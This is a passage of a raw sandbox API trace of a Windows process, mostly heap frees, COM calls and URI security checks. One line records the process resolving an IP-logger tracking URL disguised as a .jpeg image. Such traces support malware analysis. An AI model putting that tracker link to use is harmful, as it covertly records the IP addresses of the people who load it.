hHeap=0x510000) returned 1 [0055.715] ??3@YAXPAX@Z () returned 0x1 [0055.715] free (_Block=0x29444f8) [0055.715] ??3@YAXPAX@Z () returned 0x1 [0055.715] ??3@YAXPAX@Z () returned 0x1 [0055.715] IUnknown:Release (This=0x524298) returned 0x0 [0055.715] GetCurrentThreadId () returned 0x86c [0055.715] free (_Block=0x2942698) [0055.715] ??3@YAXPAX@Z () returned 0x1 [0055.715] ??3@YAXPAX@Z () returned 0x1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c508 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x571ad8 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574ca8 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5524d0 | out: hHeap=0x510000) returned 1 [0055.715] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555620 | out: hHeap=0x510000) returned 1 [0055.716] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5554d0 | out: hHeap=0x510000) returned 1 [0055.716] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b770 | out: hHeap=0x510000) returned 1 [0055.716] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.716] IUnknown:Release (This=0x55f990) returned 0x0 [0055.716] IUnknown:Release (This=0x53f4e4) returned 0x0 [0055.716] IUnknown:Release (This=0x731596bc) returned 0x1 [0055.716] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x575030 | out: hHeap=0x510000) returned 1 [0055.716] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574c48 | out: hHeap=0x510000) returned 1 [0055.716] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.716] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5973a8 | out: hHeap=0x510000) returned 1 [0055.716] CreateUri (in: pwzURI="about:blank", dwFlags=0x2b84, dwReserved=0x0, ppURI=0x30fa04 | out: ppURI=0x30fa04*=0x53c0ac) returned 0x0 [0055.717] IUri:GetScheme (in: This=0x53c0ac, pdwScheme=0x30f99c | out: pdwScheme=0x30f99c*=0x11) returned 0x0 [0055.717] IUnknown:QueryInterface (in: This=0x53c0ac, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f9a4 | out: ppvObject=0x30f9a4*=0x53c0ac) returned 0x0 [0055.717] IUnknown:Release (This=0x53c0ac) returned 0x2 [0055.717] IUnknown:AddRef (This=0x53c0ac) returned 0x3 [0055.717] IUnknown:Release (This=0x53c0ac) returned 0x2 [0055.717] IUri:IsEqual (in: This=0x53c40c, pUri=0x53c0ac, pfEqual=0x30f9e4 | out: pfEqual=0x30f9e4*=0) returned 0x0 [0055.717] IUnknown:Release (This=0x53c40c) returned 0x2 [0055.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.717] IUnknown:AddRef (This=0x53c0ac) returned 0x3 [0055.717] IUri:GetAbsoluteUri (in: This=0x53c0ac, pbstrAbsoluteUri=0x573090 | out: pbstrAbsoluteUri=0x573090*="about:blank") returned 0x0 [0055.717] IUnknown:Release (This=0x53c0ac) returned 0x2 [0055.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.717] GetCurrentProcessId () returned 0x7b4 [0055.718] IUnknown:Release (This=0x53c694) returned 0xc [0055.718] IUnknown:Release (This=0x53c694) returned 0xb [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x580650 | out: hHeap=0x510000) returned 1 [0055.718] IUnknown:Release (This=0x53c694) returned 0xa [0055.718] IUnknown:Release (This=0x53c694) returned 0x9 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574cd8 | out: hHeap=0x510000) returned 1 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574cc0 | out: hHeap=0x510000) returned 1 [0055.718] IUnknown:Release (This=0x53c694) returned 0x8 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.718] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.718] IUnknown:Release (This=0x53c694) returned 0x7 [0055.719] GetCurrentProcessId () returned 0x7b4 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c9d8 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cdd0 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53fd38 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53bd28 | out: hHeap=0x510000) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.720] IUnknown:Release (This=0x53c694) returned 0x6 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c0e0 | out: hHeap=0x510000) returned 1 [0055.720] IUnknown:Release (This=0x53c694) returned 0x5 [0055.720] IntersectRect (in: lprcDst=0x30f6d0, lprcSrc1=0x30f6d0, lprcSrc2=0x30f758 | out: lprcDst=0x30f6d0) returned 1 [0055.720] IntersectRect (in: lprcDst=0x30f768, lprcSrc1=0x30f768, lprcSrc2=0x30f6d0 | out: lprcDst=0x30f768) returned 1 [0055.720] IntersectRect (in: lprcDst=0x30f7c0, lprcSrc1=0x30f7c0, lprcSrc2=0x30f758 | out: lprcDst=0x30f7c0) returned 1 [0055.720] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52d948 | out: hHeap=0x510000) returned 1 [0055.720] IUri:GetAbsoluteUri (in: This=0x53de34, pbstrAbsoluteUri=0x30f808 | out: pbstrAbsoluteUri=0x30f808*="http://iplogger.info/1v6v97.jpeg") returned 0x0 [0055.720] IUnknown:AddRef (This=0x53de34) returned 0x6 [0055.721] IUri:IsEqual (in: This=0x53de34, pUri=0x53de34, pfEqual=0x30f7f8 | out: pfEqual=0x30f7f8*=1) returned 0x0 [0055.721] IUnknown:Release (This=0x53de34) returned 0x5 [0055.721] DeleteObject (ho=0x630506a7) returned 1 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3c4c060 | out: hHeap=0x510000) returned 1 [0055.721] IUnknown:Release (This=0x53de34) returned 0x4 [0055.721] IUnknown:Release (This=0x58373c) returned 0x2 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55c498 | out: hHeap=0x510000) returned 1 [0055.721] IUnknown:Release (This=0x58373c) returned 0x1 [0055.721] IUnknown:Release (This=0x53de34) returned 0x3 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x561498 | out: hHeap=0x510000) returned 1 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556e58 | out: hHeap=0x510000) returned 1 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x550fd8 | out: hHeap=0x510000) returned 1 [0055.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5525d8 | out: hHeap=0x510000) returned 1 [0055.722] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555ad0 | out: hHeap=0x510000) returned 1 [0055.722] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x551d80 | out: hHeap=0x510000) returned 1 [0055.722] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4) returned 0x53bd28 [0055.722] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x552000 [0055.722] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552000 | out: hHeap=0x510000) returned 1 [0055.722] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.722] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x53f4dc, dwReserved=0x0 | out: ppSM=0x53f4dc*=0x3c4c060) returned 0x0 [0055.723] IInternetSecurityManager:SetSecuritySite (This=0x3c4c060, pSite=0x53f4e4) returned 0x0 [0055.723] IUnknown:AddRef (This=0x53f4e4) returned 0x31 [0055.723] IUnknown:QueryInterface (in: This=0x53f4e4, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30f67c | out: ppvObject=0x30f67c*=0x53f4e8) returned 0x0 [0055.723] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7506f13c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x3c4c088 | out: ppvObject=0x3c4c088*=0x0) returned 0x80004002 [0055.723] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7506f12c*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0x3c4c084 | out: ppvObject=0x3c4c084*=0x0) returned 0x80004002 [0055.723] IServiceProvider:QueryService (in: This=0x53f4e8, guidService=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7505c484*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x3c4c080 | out: ppvObject=0x3c4c080*=0x731596bc) returned 0x0 [0055.723] IUnknown:Release (This=0x53f4e8) returned 0x0 [0055.723] IUnknown:AddRef (This=0x53c0ac) returned 0x3 [0055.723] IInternetSecurityManager:MapUrlToZone (in: This=0x731596bc, pwszUrl="about:blank", pdwZone=0x30f6b4, dwFlags=0x0 | out: pdwZone=0x30f6b4*=0xffffffff) returned 0x800c0011 [0055.724] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0055.724] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0055.724] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0055.724] IInternetSecurityManager:ProcessUrlAction (in: This=0x731596bc, pwszUrl="about:blank", dwAction=0x2106, pPolicy=0x30f6b8, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0 | out: pPolicy=0x30f6b8*=0x0) returned 0x0 [0055.724] IUnknown:Release (This=0x53c0ac) returned 0x2 [0055.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x53b938 | out: hHeap=0x510000) returned 1 [0055.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.724] IUnknown:Release (This=0x54fc10) returned 0x0 [0055.724] IUnknown:Release (This=0x53c0ac) returned 0x1 [0055.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x573090 | out: hHeap=0x510000) returned 1 [0055.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552420 | out: hHeap=0x510000) returned 1 [0055.724] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x89) returned 0x552f38 [0055.724] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x552f38 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3c7c3d0 | out: hHeap=0x510000) returned 1 [0055.725] CoTaskMemFree (pv=0x554280) [0055.725] CoTaskMemFree (pv=0x0) [0055.725] CoTaskMemFree (pv=0x554398) [0055.725] LsDestroyContext () returned 0x0 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x553790 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555320 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555d60 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555680 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540170 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5400f8 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5510d0 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x560cb8 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a870 | out: hHeap=0x510000) returned 1 [0055.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x540148 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a898 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a8c0 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556070 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f700 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f6d0 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f710 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55f740 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556478 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x595310 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x553678 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557e40 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5547f8 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555238 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5581f8 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x596fa8 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533528 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5586c8 | out: hHeap=0x510000) returned 1 [0055.726] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x58b1e0 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x558d88 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x558390 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x550cc0 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x558530 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5520b0 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5565a8 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x557f78 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x554910 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x596918 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556ec8 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x559008 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5593a0 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x559460 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x559520 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5993c0 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x558cc0 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x558bf8 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x555b08 | out: hHeap=0x510000) returned 1 [0055.728] IUnknown:Release (This=0x3c4c060) returned 0x0 [0055.728] IUnknown:Release (This=0x53f4e4) returned 0x0 [0055.728] IUnknown:Release (This=0x731596bc) returned 0x7fff [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52da60 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ca08 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.728] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0055.729] HeapFree (in: hHeap=0x510000, 